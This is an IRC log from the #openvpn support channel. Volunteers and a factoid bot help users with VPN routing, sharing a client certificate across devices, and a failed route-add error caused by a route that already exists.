14:13 <+pekster> If the 2nd does as well you need a route to the 2nd via the first
14:13 <+pekster> kplong:
14:13 <+pekster> !gui
14:13 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
14:13 <+pekster> There's an entire guide you need to read if you're having problems
14:13 <+pekster> It's working fine -- you're just not using it properly
14:14 <+pekster> The registry key is pretty straight-forward too: your user doesn't have HKLM write-access, thus it fails when writing to that location. If you don't like that behaviour, give your user more access, or disable UAC's crap
14:14 -!- wimmer [~wimmer@94.242.205.235] has quit [Ping timeout: 240 seconds]
14:14 <+pekster> (Consult MS's docs for the proper way to enact user or UAC changes)
14:15 -!- wimmer [~wimmer@p57AECBF4.dip0.t-ipconnect.de] has joined #openvpn
14:15 < wimmer> This is my config:
14:15 < wimmer> client
14:15 < wimmer> dev tun
14:15 < wimmer> proto udp
14:15 <+pekster> Stop
14:15 < wimmer> remote myvpn 443
14:15 <+pekster> !paste
14:15 < wimmer> resolv-retry infinite
14:15 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
14:15 < wimmer> nobind
14:15 < wimmer> ns-cert-type server
14:15 < wimmer> cipher AES-256-CBC
14:15 < wimmer> comp-lzo
14:15 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
14:15 < wimmer> verb 3
14:16 < wimmer> explicit-exit-notify 5
14:16 -!- mode/#openvpn [+o pekster] by ChanServ
14:16 < wimmer> <ca>
14:16 < wimmer> sorry
14:16 < rob0> grrr
14:16 <@pekster> Yea, don't do that
14:16 -!- mode/#openvpn [-o pekster] by ChanServ
14:17 <+pekster> If you wish to connect to any external system via a network link, you add a route to it
14:17 <+pekster> This isn't even openvpn-specific: it's how networking works
14:18 <+pekster> If you have $vpn_link and want to get to $other_server via that link, `ip route add $other_server/32 via $vpn_gateway` (in Linux `ip` syntax anyway)
14:18 < wimmer> https://gist.github.com/anonymous/185d988011815b893ad2
14:18 <@vpnHelper> Title: My OpenVPN client configuration (at gist.github.com)
14:18 <+pekster> `man ip` has details for how to use routing, and such basics are more or less out of scope here
14:18 < wimmer> ok
14:19 <+pekster> Server configs would be necessary to know if you're using some form of --redirect-gateway on either setup
14:19 <+pekster> The advice hasn't changed, so I suggest you re-read the advice you got from two people earlier
14:21 < wimmer> So I'm supposed to add the tun interface's ip to ip route add?
14:21 <+pekster> !101
14:21 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:21 < wimmer> sorry
14:21 <+pekster> All you need to do is either 1) use --redirect-gateway on the client, either by defining it or pushing it from the server *or* 2) add a route to the server you want to reach via the gateway of the first
14:21 <+pekster> Pick one and enact it
14:22 < wimmer> ok thanks
14:22 <+pekster> Note that use of --redirect-gateway on the 2nd server will cause you issues if you don't do #2 anyway
14:22 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has joined #openvpn
14:24 < wimmer> So does that mean I need to be admin on the first server?
14:25 <+pekster> No, but we aren't magic and have an iniate knowledge of *every* VPN server in existance
14:25 <+pekster> !both
14:25 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
14:25 <+pekster> One could perhaps look in the logs for the PUSH_REPLY and get an idea of what's being pushed from the server that way
14:26 < wimmer> hmm ok
14:26 <+pekster> Your references in the manpage would be --verb, --route, --route-noexec, and possibly anything you can see in !log and !logfile
14:26 <+pekster> !route-noexec
14:27 <+pekster> Hmm, I thought that got added
14:27 <+pekster> !noexec
14:27 < wimmer> ok i can see redirect-gateway at PUSH_REPLY
14:29 < wimmer> I still don't understand how to go about: add a route to the server you want to reach via the gateway of the first
14:30 < wimmer> Will ip add route do the trick locally?
14:30 < wimmer> I mean ip route add...
14:32 < wimmer> Thanks for your help. I've found the route command on os x
14:32 < kisom> wimmer: OpenVPN can take care of that for you on all platforms
14:33 < kisom> Just push the correct routes from the server
14:36 <+pekster> Or use --route on the client-side
14:36 <+pekster> (since it sounds like you lack access to the server, which is half the reason you won't ever get a concise answer here since you can't demonstrate your complete setup)
14:38 <+pekster> Ah, I was hunting for this earlier:
14:38 <+pekster> !nopull
14:38 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
14:40 <+pekster> !route
14:40 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:40 <@vpnHelper> behind the server or client
14:41 <+pekster> Between that and the basic !tcpip guide, all the resources are there. If that's "too advanced" for you I'd suggest a networking book or class to cover the basics first
14:47 < wimmer> thanks for the information
14:56 -!- JAVACODER [~JAVACODER@2.190.32.6] has quit [Read error: Connection reset by peer]
15:09 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
15:11 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
15:12 -!- wimmer_ [~wimmer@94.242.205.235] has joined #openvpn
15:12 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
15:13 -!- wimmer [~wimmer@p57AECBF4.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
15:13 -!- wimmer_ is now known as wimmer
15:17 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-bltsekemjvhrpupy] has quit [Ping timeout: 246 seconds]
15:20 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
15:29 -!- wimmer [~wimmer@94.242.205.235] has quit [Quit: wimmer]
15:36 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
16:08 < danfromuk> Hi. I want to use the same client certificate for a few devices that i have, but it appears that i'm receiving the same internal ip address for each connection. Is there any way to change that?
16:10 <+pekster> danfromuk: See --duplicate-cn in the manpage. Note also that by doing so you give up the ability to uniquely identify the source by certificate or independently revoke multiple users of the same keypair
16:10 <@plaisthos> look for duplicate-cn
16:10 <@plaisthos> !duplicate-cn
16:11 < danfromuk> I wont have multiple users with the same key pair. Will --duplicate-cn cause me any other problems?
16:11 < rob0> why not just generate a new cert?
16:12 < danfromuk> easier to track if there is one certificate per user (each user may have multiple devices)
16:12 <+pekster> Consider this situation: you use the same keypair on your laptop and phone, then you loose your phone. Your only recourse is to revoke the one cert you issued, thus taking your laptop offline until you can regen/resign the cert. That's sub-optimal
16:12 <+pekster> I'd thus argue against that statement and say it's *harder* to track them if you do what you propose, but that's up to you
16:12 < rob0> indeed
16:12 < danfromuk> I understand
16:21 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
16:27 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-riveptngbrlrcppr] has joined #openvpn
16:30 -!- jive [~jive@69.136.92.21] has quit [Read error: Connection reset by peer]
16:30 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
16:35 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has quit [Quit: ChatZilla 0.9.90.1 [SeaMonkey 2.17.1/20130416191757]]
16:44 -!- novaflash is now known as novaflash_away
16:45 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 256 seconds]
16:45 -!- novaflash_away is now known as novaflash
16:48 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
16:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
17:03 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: For Sale: Parachute. Only used once, never opened, small stain.]
17:28 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
17:28 < danfromuk> rob0: thanks for the tip regarding dnsmasq. works like a charm
17:32 <@EugeneKay> !download
17:32 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
17:32 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
17:33 <@EugeneKay> That's right kiddies, it's reinstall tiem again on ze laptop!
17:36 <@EugeneKay> !win_shortcut
17:36 <@EugeneKay> !winshortcut
17:36 <@vpnHelper> "winshortcut" is To start OpenVPN-GUI easily on Windows, make a shortcut and set the Target as: \"C:\Program Files (x86)\OpenVPN\bin\openvpn-gui-1.0.3.exe\" --config_dir \"C:\path\to\config\" --connect client.ovpn --show_balloon 0 --silent_connection 1 --show_script_window 0
17:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 276 seconds]
17:46 -!- klein [~klein@187.85.182.246] has joined #openvpn
17:46 -!- klein [~klein@187.85.182.246] has quit [Changing host]
17:46 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:52 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
17:56 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
18:04 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:13 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
18:24 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:32 -!- Guest65292 [~wefefr@adsl-ull-181-65.45-151.net24.it] has quit [Read error: Connection reset by peer]
18:32 -!- vaillor [~Guest6529@adsl-ull-181-65.45-151.net24.it] has joined #openvpn
18:34 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: Take my advice. I don't use it anyway]
18:35 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
18:48 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:48 -!- master_o1_master [~master_of@p4FF24979.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_of_master [~master_of@p4FD7BFAC.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
19:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 264 seconds]
19:36 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
19:43 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
19:44 -!- peper [~peper@gentoo/developer/peper] has quit [Read error: Connection reset by peer]
19:58 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 276 seconds]
20:07 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 264 seconds]
20:15 -!- phishy [~textual@50.138.206.227] has joined #openvpn
20:17 -!- p3rror [~p3rror@41.248.162.157] has quit [Quit: Leaving]
20:30 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:40 -!- nickmoeck [~nickmoeck@204.12.219.210] has quit [Read error: No route to host]
20:50 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
20:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
20:54 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
20:54 -!- mode/#openvpn [+v s7r] by ChanServ
20:59 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:14 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:14 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:16 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:22 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:39 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
21:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:41 -!- mode/#openvpn [+o krzee] by ChanServ
21:48 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
21:48 -!- darknyan [~darknyan@2a00:1630:2:f00::cafb:9c1] has joined #openvpn
21:48 -!- darknyan [~darknyan@2a00:1630:2:f00::cafb:9c1] has quit [Changing host]
21:48 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
21:49 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
21:56 -!- michaelhart [~michaelha@162.209.54.120] has quit [Read error: Connection reset by peer]
21:56 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:59 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
22:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:06 <@krzee> !certinfo
22:06 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
22:06 -!- childofthehorn [~childofth@pool-71-252-171-40.dllstx.fios.verizon.net] has joined #openvpn
22:57 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
23:23 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:27 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
23:28 -!- ppr [~peper@gentoo/developer/peper] has quit [Ping timeout: 264 seconds]
23:55 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 260 seconds]
--- Day changed Mon Jul 29 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:05 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
00:17 -!- michaelhart [~michaelha@162.209.54.120] has quit [Read error: Connection reset by peer]
00:18 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
00:40 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
00:48 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:50 -!- childofthehorn [~childofth@pool-71-252-171-40.dllstx.fios.verizon.net] has quit [Ping timeout: 256 seconds]
00:52 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
01:26 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has left #openvpn ["Leaving"]
01:27 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
01:36 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:36 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:36 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:47 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
01:54 -!- peper [~peper@gentoo/developer/peper] has quit [Remote host closed the connection]
01:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:04 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
02:08 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
02:10 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
02:19 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:23 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 246 seconds]
02:23 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
02:24 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
02:24 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
02:24 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
02:24 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
02:25 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
02:25 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 262 seconds]
02:25 -!- [fred] [fred@konfuzi.us] has joined #openvpn
02:26 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 246 seconds]
02:26 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
02:27 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
02:29 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
02:37 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
02:38 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
02:39 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
02:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
02:39 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
02:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
02:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
02:40 -!- [fred] [fred@konfuzi.us] has joined #openvpn
02:47 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
02:47 -!- darknyan [~darknyan@2a00:1630:2:f00::cafb:9c1] has joined #openvpn
02:47 -!- darknyan [~darknyan@2a00:1630:2:f00::cafb:9c1] has quit [Changing host]
02:47 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
03:26 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 260 seconds]
03:31 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 260 seconds]
03:45 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
03:48 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:55 <@plaisthos> !service
03:55 <@plaisthos> !search service
03:55 <@vpnHelper> supybot.plugins.Services, supybot.plugins.Services.public, supybot.plugins.Services.nicks, supybot.plugins.Services.disabledNetworks, supybot.plugins.Services.noJoinsUntilIdentified, supybot.plugins.Services.ghostDelay, supybot.plugins.Services.NickServ, supybot.plugins.Services.NickServ.password, supybot.plugins.Services.NickServ.password.vpnHelper, supybot.plugins.Services.ChanServ,
03:55 <@vpnHelper> supybot.plugins.Services.ChanServ.password, supybot.plugins.Services.ChanServ.op, supybot.plugins.Services.ChanServ.halfop, and supybot.plugins.Services.ChanServ.voice
03:55 <@plaisthos> .oO(Not what I was looking for ....)
04:09 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
04:28 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
04:28 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 240 seconds]
04:30 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
04:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:50 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:53 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:14 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 245 seconds]
05:27 < MrQuist> !search e
05:27 <@vpnHelper> supybot.nick.alternates, supybot.ident, supybot.user, supybot.networks, supybot.networks.freenode, supybot.networks.freenode.password, supybot.networks.freenode.servers, supybot.networks.freenode.channels, supybot.networks.freenode.channels.key, supybot.networks.freenode.ssl, supybot.reply, supybot.reply.format, supybot.reply.format.time, supybot.reply.format.time.elapsed,
05:27 <@vpnHelper> supybot.reply.format.time.elapsed.short, supybot.reply.maximumLength, supybot.reply.mores, supybot.reply.mores.maximum, supybot.reply.mores.length, supybot.reply.mores.instant, supybot.reply.oneToOne, supybot.reply.whenNotCommand, supybot.reply.error, supybot.reply.error.detailed, supybot.reply.error.inPrivate, supybot.reply.error.withNotice, supybot.reply.error.noCapability,
05:27 <@vpnHelper> supybot.reply.inPrivate, supybot.reply.withNotice, supybot.reply.withNoticeWhenPrivate, supybot.reply.withNickPrefix, supybot.reply.whenNotAddressed, supybot.reply.requireChannelCommandsToBeSentInChannel, supybot.reply.showSimpleSyntax, supybot.reply.whenAddressedBy, supybot.reply.whenAddressedBy.chars, supybot.reply.whenAddressedBy.strings, supybot.reply.whenAddressedBy.nick, (19 more messages)
05:33 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
05:59 < MrQuist> !search e
05:59 <@vpnHelper> supybot.nick.alternates, supybot.ident, supybot.user, supybot.networks, supybot.networks.freenode, supybot.networks.freenode.password, supybot.networks.freenode.servers, supybot.networks.freenode.channels, supybot.networks.freenode.channels.key, supybot.networks.freenode.ssl, supybot.reply, supybot.reply.format, supybot.reply.format.time, supybot.reply.format.time.elapsed,
05:59 <@vpnHelper> supybot.reply.format.time.elapsed.short, supybot.reply.maximumLength, supybot.reply.mores, supybot.reply.mores.maximum, supybot.reply.mores.length, supybot.reply.mores.instant, supybot.reply.oneToOne, supybot.reply.whenNotCommand, supybot.reply.error, supybot.reply.error.detailed, supybot.reply.error.inPrivate, supybot.reply.error.withNotice, supybot.reply.error.noCapability,
05:59 < MrQuist> !search a
05:59 <@vpnHelper> supybot.reply.inPrivate, supybot.reply.withNotice, supybot.reply.withNoticeWhenPrivate, supybot.reply.withNickPrefix, supybot.reply.whenNotAddressed, supybot.reply.requireChannelCommandsToBeSentInChannel, supybot.reply.showSimpleSyntax, supybot.reply.whenAddressedBy, supybot.reply.whenAddressedBy.chars, supybot.reply.whenAddressedBy.strings, supybot.reply.whenAddressedBy.nick, (19 more messages)
05:59 <@vpnHelper> supybot.nick.alternates, supybot.networks.freenode.password, supybot.networks.freenode.channels, supybot.networks.freenode.channels.key, supybot.reply.format, supybot.reply.format.time, supybot.reply.format.time.elapsed, supybot.reply.format.time.elapsed.short, supybot.reply.maximumLength, supybot.reply.mores.maximum, supybot.reply.mores.instant, supybot.reply.whenNotCommand,
05:59 <@vpnHelper> supybot.reply.error.detailed, supybot.reply.error.inPrivate, supybot.reply.error.noCapability, supybot.reply.inPrivate, supybot.reply.withNoticeWhenPrivate, supybot.reply.whenNotAddressed, supybot.reply.requireChannelCommandsToBeSentInChannel, supybot.reply.showSimpleSyntax, supybot.reply.whenAddressedBy, supybot.reply.whenAddressedBy.chars, supybot.reply.whenAddressedBy.strings,
05:59 <@vpnHelper> supybot.reply.whenAddressedBy.nick, supybot.reply.whenAddressedBy.nick.atEnd, supybot.reply.whenAddressedBy.nicks, supybot.followIdentificationThroughNickChanges, supybot.alwaysJoinOnInvite, supybot.replies.incorrectAuthentication, supybot.replies.noCapability, supybot.replies.genericNoCapability, supybot.replies.requiresPrivacy, supybot.snarfThrottle, supybot.upkeepInterval, supybot.commands, (16 more messages)
05:59 < MrQuist> thats not right!
06:00 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 256 seconds]
06:02 -!- badtab [tomboy@gateway/shell/blinkenshell.org/x-rayfkcpptrdbdoet] has joined #openvpn
06:03 < badtab> What's this error mean? ERROR: Linux route add command failed: external program exited with error status: 2
06:03 < MrQuist> ip r a probably failed with error status 2
06:04 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
06:04 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 246 seconds]
06:05 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
06:07 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
06:07 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
06:09 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
06:09 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
06:27 < badtab> MrQuist: Where do I find out why?
06:27 < MrQuist> Tell us first, what are you going?
06:27 < MrQuist> Its probably a script / program that installs something, right?
06:27 < MrQuist> This script runs another program (ip route add) and that one fails
06:40 < badtab> /etc/openvpn/ $ sudo openvpn somewherewithbettercoffee.ovpn
06:40 < badtab> MrQuist: I'm simply connecting.
06:49 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
06:50 < fischli> badtab:  sudo may reduce the PATH settings and in consequence will fail to find ip. Try to use absolute pathnames
06:51 < badtab> fischli: so, go change the config to read /this/is/where/it/is/ip do stuff ?
06:53 < fischli> badtab: yep. will never hurt.
06:53 < kisom> Finally got fibre hooked up :) http://www.speedtest.net/my-result/2867121457
06:53 <@vpnHelper> Title: Speedtest.net - My Results (at www.speedtest.net)
06:53 < kisom> Even 70 mbps more than I pay for
06:54 < badtab> where is it? http://paste.fedoraproject.org/28581/13750988/
06:54 < badtab> fischli
06:59 < fischli> badtab: it's not in the config. openvpn will track down the searchpath for executables. Try to use it as root and not with sudo.
07:02 < badtab> fischli: no change :/
07:04 -!- phishy [~textual@50.138.206.227] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
07:08 < fischli> badtab: could you paste your up/down script ?
07:08 < badtab> fischli: if i knew what that was.
07:08 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Remote host closed the connection]
07:10 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 264 seconds]
07:11 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
07:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:22 < fischli> badtab: the route command gave you an error 2. this has a different meaning. route has successful executed but didn't add the route. For whatever reason
07:31 < fischli> badtab: you did a chroot in your config. This might cause side effects.
07:31 < badtab> fischli: it's not being done last?
07:31 <@ecrist> no, first, generally
07:41 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:42 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
07:42 < badtab> ecrist: so, does the jail need an ip? *scratches head*
07:42  * EugeneKay shakes a jealous fist at kisom 
07:50 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:50 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:50 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:54 -!- Belliash [~belliash@asiotec/constitutive/belliash] has joined #openvpn
08:01 < badtab> ecrist: i should put openvpn in a jail with ip?
08:01 <@ecrist> no
08:01 <@ecrist> what are you trying to do?
08:02 < badtab> Track down this error I get during connection: ERROR: Linux route add command failed: external program exited with error status: 2
08:02 < badtab> ecrist
08:02 <@ecrist> are you able to add the route manually?
08:04 < badtab> ecrist: I don't even know which route it's failing to add.
08:04 <@ecrist> what's verb set to in your config?
08:05 <@ecrist> if it's set to 4 or above, it should be evident
08:05 <@ecrist> in the log
08:05 < badtab> ecrist: 1
08:09 < badtab> ecrist: this accompanies each failed ip r a: RTNETLINK answers: File exists
08:10 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 276 seconds]
08:16 <@ecrist> so, it sounds like the route is already in the routing table 
08:17 < badtab> ecrist: indeed. is this a product of me accidnetally launching two daemons and/or leaving a client running after i lose my internet connection?
08:21 < badtab> each route is a file? like, a pipe? so, if it already exists doesn't it have something in it from the last connection? i mean, isn't this less secure, shouldn't the route be destroyed on exit?
08:22 < rob0> That's just how RTNETLINK sees and reports it. No.
08:22 < badtab> 0.0
08:23 < rob0> Routes which are no longer viable (depending on interfaces which are destroyed, for example) are indeed removed from the kernel.
08:25 < badtab> So, RTNETLINK attempts to add a route that already exists and complains. Why does it complain? Why is it expecting the route to not exist?
08:25 < badtab> This is an ERROR not a WARNING.
08:25 <@ecrist> because, you shouldn't be trying to add a route that already exists.
08:26 < badtab> ecrist: because that's a collision?
08:26 <@ecrist> yes
08:26 <@ecrist> !101
08:26 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
08:26  * ecrist poofs
08:29 < badtab> ecrist: Don't worry, I wasn't trying to learn, it just happened through my questions regarding openvpn.
08:29 < rob0> huh?
08:29 < badtab> ecrist: i'm really sorry i learned, sir. won't happen again.
08:29  * rob0 ignores
08:33 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
